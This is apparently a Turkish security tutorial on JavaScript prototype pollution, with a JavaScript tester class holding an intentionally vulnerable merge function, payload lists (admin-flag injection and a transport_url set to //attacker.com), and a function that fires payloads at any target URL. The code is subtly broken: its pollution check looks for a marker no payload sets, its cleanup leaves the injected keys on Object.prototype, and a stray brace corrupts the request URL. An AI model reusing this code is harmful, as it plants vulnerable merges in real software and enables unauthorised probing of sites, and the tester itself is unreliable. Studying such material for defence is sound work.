Prototype Pollution, saldırganların global obje prototype'larına keyfi özellikler (property) eklemelerini sağlayan bir JavaScript zafiyetidir. Bu özellikler daha sonra kullanıcı tanımlı objeler tarafından miras alınabilir ve güvenlik açıklarına yol açabilir.
1. Pollution Source: Prototype'ı kirletmeyi sağlayan input
2. Sink: Keyfi kod çalıştırmayı sağlayan JavaScript fonksiyonu
3. Gadget: Sink'e güvensiz şekilde geçirilen özellik
- Client-side: DOM XSS, Authentication bypass, Business logic manipulation
- Server-side: Remote Code Execution (RCE), Privilege escalation, DoS
- Framework/Library: Config manipulation, Template injection, Path traversal
// Comprehensive prototype pollution test suite
class PrototypePollutionTester {
constructor() {
this.testResults = [];
this.originalState = this.capturePrototypeState();
}
capturePrototypeState() {
return {
objectKeys: Object.getOwnPropertyNames(Object.prototype),
arrayKeys: Object.getOwnPropertyNames(Array.prototype)
};
}
testURLPollution(url) {
const testMarker = `polluted_${Date.now()}`;
// Simulate URL parameter parsing
const params = new URLSearchParams(url.split('?')[1] || '');
const parsed = {};
for (const [key, value] of params) {
this.setNestedProperty(parsed, key, value);
}
// Check if pollution occurred
const testObj = {};
const polluted = testMarker in testObj;
this.testResults.push({
type: 'URL',
polluted,
payload: url,
marker: testMarker
});
return polluted;
}
testJSONPollution(jsonString) {
const testMarker = `json_polluted_${Date.now()}`;
try {
const parsed = JSON.parse(jsonString);
// Simulate vulnerable merge
const target = {};
this.vulnerableMerge(target, parsed);
// Check pollution
const testObj = {};
const polluted = testMarker in testObj;
this.testResults.push({
type: 'JSON',
polluted,
payload: jsonString,
marker: testMarker
});
return polluted;
} catch (e) {
return false;
}
}
setNestedProperty(obj, path, value) {
const keys = path.split('[').map(k => k.replace(']', ''));
let current = obj;
for (let i = 0; i < keys.length - 1; i++) {
if (!(keys[i] in current)) {
current[keys[i]] = {};
}
current = current[keys[i]];
}
current[keys[keys.length - 1]] = value;
}
vulnerableMerge(target, source) {
for (const key in source) {
if (typeof source[key] === 'object' && source[key] !== null) {
if (!(key in target)) {
target[key] = {};
}
this.vulnerableMerge(target[key], source[key]);
} else {
target[key] = source[key]; // Vulnerable line!
}
}
}
generatePayloads() {
const timestamp = Date.now();
return {
urlPayloads: [
`?__proto__[polluted_url]=${timestamp}`,
`?__proto__[isAdmin]=true`,
`?__proto__[transport_url]=//attacker.com`,
`?constructor[prototype][polluted]=true`
],
jsonPayloads: [
`{"__proto__": {"polluted_json": "${timestamp}"}}`,
`{"__proto__": {"isAdmin": true}}`,
`{"constructor": {"prototype": {"polluted": true}}}`
]
};
}
runFullTest() {
const payloads = this.generatePayloads();
console.group('🔍 Prototype Pollution Test Results');
// Test URL payloads
console.group('URL Payloads');
payloads.urlPayloads.forEach(payload => {
const result = this.testURLPollution(payload);
console.log(`${result ? '✅ VULNERABLE' : '❌ SAFE'}: ${payload}`);
});
console.groupEnd();
// Test JSON payloads
console.group('JSON Payloads');
payloads.jsonPayloads.forEach(payload => {
const result = this.testJSONPollution(payload);
console.log(`${result ? '✅ VULNERABLE' : '❌ SAFE'}: ${payload}`);
});
console.groupEnd();
console.groupEnd();
return this.testResults;
}
cleanup() {
// Clean up polluted properties
this.testResults.forEach(result => {
if (result.polluted && result.marker) {
try {
delete Object.prototype[result.marker];
} catch (e) {
// Ignore cleanup errors
}
}
});
}
}
// Usage example
const tester = new PrototypePollutionTester();
const results = tester.runFullTest();
tester.cleanup();
// Real-world testing function
function testWebsiteForPollution(targetUrl) {
const testPayloads = [
'?__proto__[testPollution]=true',
'#__proto__[testPollution]=true'
];
testPayloads.forEach(async (payload) => {
try {
const response = await fetch(`${targetUrl}}${payload}`);
// Check if pollution indicators exist in response
const text = await response.text();
if (text.includes('testPollution') ||
text.includes('__proto__') ||
text.includes('polluted')) {
console.warn(`⚠️ Potential pollution: ${targetUrl}}${payload}`);
}
} catch (e) {
console.error(`Error testing ${payload}:`, e);
}
});
}